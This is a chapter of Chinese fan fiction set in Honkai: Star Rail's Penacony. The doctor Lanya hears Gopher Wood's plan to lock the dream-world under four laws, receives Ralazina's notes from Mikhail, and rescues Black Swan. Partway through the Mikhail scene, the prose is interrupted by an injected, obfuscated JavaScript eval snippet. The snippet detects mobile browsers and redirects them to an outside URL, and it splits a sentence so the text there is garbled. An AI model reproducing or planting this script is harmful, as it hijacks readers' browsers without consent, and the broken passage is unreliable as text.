“神明赐予我们天火,也赐予我们神圣的磨难。便令它们存在吧,你我皆属凡人,生来便要去爱,去受痛苦。” 25. 第 25 章 他说这句话的时候,语气像在念一段已经写好的经文。 “匹诺康尼的美梦不是永恒的。”歌斐木说,“任何美梦都会醒来,任何乐园都会坠落。这是命途,是定数,是不可更改的规律。” 他的手指在桌面上轻轻敲了一下,“乐园终将跌入愁苦人世,黎明一旦升起,便要坠毁于白昼。凡是金的,怎可能光华长留?” 兰涯端起茶杯喝了一口。茶凉了,涩味更重了。 “但我不接受。”歌斐木说。 他的声音变沉了,像一块石头扔进了深水里,咚的一声,然后就沉下去了。 “我不接受匹诺康尼的坠落,我不接受美梦的终结。如果注定要走向毁灭,那我就用自己的规则来对抗。”他抬起头看着兰涯,眼睛完全睁开了,没有光,但有一种很重的东西。 “我将以自身化作四条太初律令。每一条都是一堵墙。墙立起来之后,匹诺康尼就不会再受外界干扰。美梦会持续,乐园会永恒。” 兰涯皱起眉:“你不是在保护匹诺康尼,你是在囚禁它。” 歌斐木没有否认,嘴角那个没有温度的笑容又浮现出来:“囚禁和守护,有时候是同一件事。医师救过无数人,医师应该明白,为了让一个人活下去,有时候需要按住他,不让他动。” 兰涯想说“那不是救人,那是控制”,但她没有说,因为她意识到歌斐木不是来跟她辩论的,他是来通知她自己要做什么。他已经决定了,别人的意见不重要。 “医师救过无数人,在战场上逆转生死,在废墟中挽回生命,见过最深的绝望,也见过最亮的光。那么,医师有没有想过一个问题——” 歌斐木站起来,走到墙边,抬手拉了一下垂在那里的金线流苏。房间里暗了下来,只留下一盏壁灯,昏黄的光照在圆桌上,把两个人的影子拉得很长。 “为什么有了星神,有了命途,有了医师这样的人,生命依然被压迫?为什么不公在宇宙的每一个角落都存在?” 兰涯看着他,没有说话。 他重新坐回兰涯对面,他的影子落在桌布上,把银质茶具都盖住了。 “医师,匹诺康尼的事,医师管不了。不是医师能力不够,是这件事的根源不在匹诺康尼。根源在命途本身,命途是狭隘的,星神是被命途束缚的。巡猎只能狩猎,存护只能筑墙,欢愉只能笑,哪怕同谐的三重面相都无济于事。” “你的茶会结束了?”兰涯没有回应,而是站起来问。 歌斐木微微欠身,像一位老派的绅士在向客人道别:“医师请便。橡木家系会一路关照医师的行程。” 兰涯走到门口,拉开门。走廊里的灯光比房间里亮,刺得她眯了一下眼睛。拉曼查靠在走廊对面的墙上,姿势和她进去时一模一样,帽子压低,手杖拄在身前。看到她出来,他站直了身体。 “走。”兰涯说。 两个人沿着走廊往回走。深红色的地毯踩上去没有声音,壁灯一盏一盏地退到身后。离开朝露的时刻后,拉曼查才开口。 “他说什么了?” 兰涯把歌斐木的话复述了一遍。拉曼查听完,说:“他在警告你别管匹诺康尼的事。” “我知道。” “你打算怎么办?” 兰涯想了想,按道理,铁尔南托她传的话已经传到了,匹诺康尼的真相也看到了。家族想抹掉无名客的痕迹,米哈伊尔一个人撑得很辛苦,她帮不了什么。她不是无名客,不是家族的人,不是匹诺康尼的居民,她只是路过。 但她想起铁尔南说的话,“去看看我们曾经拼命守护的那种安宁与美好”。她看到了,安宁是表面的,美好是粉饰的,下面压着的是被窃取的历史和孤立无援的前行者。 “我不知道怎么形容这种情绪。”兰涯据实相告,“胸口有什么东西堵着,不是疼,疼我熟悉。这个不一样,像有人在我身体里点了一把火,烧得我不舒服。铁尔南他们拼了命守护的东西,被人抹掉了。米哈伊尔一个人撑了那么久,没有人帮他,凭什么。” “这种感情叫愤怒。”拉曼查的脸上带着些许过来人的欣慰,“你觉得一件事不对,不公平,你想改变它,但你发现自己改变不了。这时候胸口烧起来的那把火,就是愤怒。光愤怒没用,得把愤怒变成别的东西,变成子弹,变成箭。不然愤怒就是烧完就灭的火,留不下任何东西。” 兰涯没有说话,拉曼查跟在身边。 “不过歌斐木有些话不无道理。”拉曼查把手杖换到另一只手上,帽檐下的表情看不太清楚,但他的声音很沉,“虽然他把无名客和家族之间利益权力问题虚化模糊了,但那句对命途的认知倒是没错,根源在命途本身。” “观星者曾跟我说过,宇宙就像一个玻璃瓶,命途就是玻璃瓶里的气球,每个气球都越吹越大,势必阻碍了其他气球的容量,于是纷争开始了。我听完后只有一个想法,那么多命途那么多星神存在的意义又是什么?真的能给生命带来幸福吗?” 说到这里,拉曼查自觉失言,赶紧找补:“咳,没有说天弓坏话的意思。” 兰涯却若有所思:“玻璃瓶里的气球,这个说法很有道理。” 两人走进匹诺康尼的夜色里。灯还亮着,音乐还响着,人群还在笑。兰涯远远地站着,看着这一切。 歌斐木想用四条律令把匹诺康尼锁起来,让它永远停在美梦里。他以为这样就能解决问题,但他错了。 锁住一座城,锁不住命途的狭隘,不公不义在城外还在,在城里也还在,只是被美梦盖住了,盖住的东西不会消失,它会烂在下面。 兰涯想起歌斐木说的那个问题,又想起刚刚拉曼查的话,她没有答案。 她救了无数人,但她救不了命途本身。她可以逆转一个人的伤势,但她逆转不了命途的走向。她可以在战场上把伤员从死亡线上拉回来,但她拉不回一个被命途压垮的世界,连她自己都是被命途引起的寰宇战争磋磨。 米哈伊尔住在白日梦酒店最里面的那间套房。兰涯敲了门,等了一会儿,门开了。 他看起来比上次见面时更瘦了一些,颧骨下面的阴影更深了。 他请两人进去,倒了苏乐达, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485894|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在沙发上坐下来。他没有问兰涯为什么来,也没有问她在匹诺康尼逛了哪些地方,直接说:“歌斐木找过你了。” 兰涯看着他:“传得那么快?” “只是我消息比较灵通而已,我有小门童呢。”米哈伊尔狡黠地眨眨眼。 他用一种充满希望又带有安慰的语气说:“不用沮丧,星穹列车会再次起航的。新的无名客会来,他们会看到匹诺康尼的问题,也会想办法解决。我在这里等他们。” 兰涯问:“你怎么知道他们会来?” “因为匹诺康尼是盛会之星,列车组迟早会路过。这里有无名客留下的东西,后来者不会不管。”这是来自开拓的信念。 他站起来,走到书桌前,拉开抽屉,从里面拿出一个牛皮纸信封。 “拉扎莉娜的笔记。关于忆质动力学的研究。” 米哈伊尔把信封塞进她手里,说:“笔记留在这里不是好事,医师把笔记带走,分享给有缘人,也许有人能从中找到答案。” 兰涯握着那个信封,信封很旧了,边角磨得发白,封口用蜡封着,蜡上压了一个印章,图案是罗盘,指针指向了星星。 回程的路上,阿斯德纳的星域很干净,没有太多碎片,航路也很清晰。 兰涯把拉扎莉娜的笔记从信封里抽出来翻了翻,字迹很密,大部分她看不懂。她把笔记装回去,收进包里。 飞船驶出阿斯德纳的星域,进入一片陨石带。陨石不大,密密麻麻的,像一条碎石头铺成的河流。 拉曼查减速,小心地绕开大的石块。兰涯看着窗外,忽然看到一个东西。 “那边。”她指了指。 一块大陨石的侧面有个人影。 拉曼查把飞船靠到附近,停稳。兰涯出了舱,跃迁到陨石旁边。 她看到有一个女人。紫色的头巾,淡紫色的头发,闭着眼睛,靠在陨石上。脸上有一道很细的伤口,从眉梢拉到颧骨,但没有流血,伤口边缘是灰白色的,像枯萎的树皮。 她伸手探了探女人的气息,活着,比较稳定,只是一时间晕过去了,就把女人拉出来,带回自飞船,放在躺椅上。 拔出双针,金色的光芒从针尖扩散,笼罩了女人的全身。 兰涯等了几秒,什么都没有发生。伤口还在,灰白色的边缘还在。 她又试了一次,金色的光芒更亮了,但伤口还是没有变化。 兰涯把针收回来,看着女人的脸。伤口还在,她的针没有用,很奇怪。 她不知道为什么会这样,双针从来没有失过手。不管是倏忽的瘴气还是绝灭大君的诅咒,扎下去就能稳住,但这个不行。 此时,女人的眼皮动了一下,慢慢睁开,她的眼睛是深紫色的,瞳孔有些涣散,花了几秒钟才聚焦。她看到兰涯,嘴唇动了一下。 “绝境医师。”声音很轻,像从很远的地方传来的。 兰涯点了点头:“我是。”送上了一杯温水。 喝了水,女人有了点力气,颔首致意:“我是「流光忆庭」的忆者黑天鹅,感谢您的帮助。”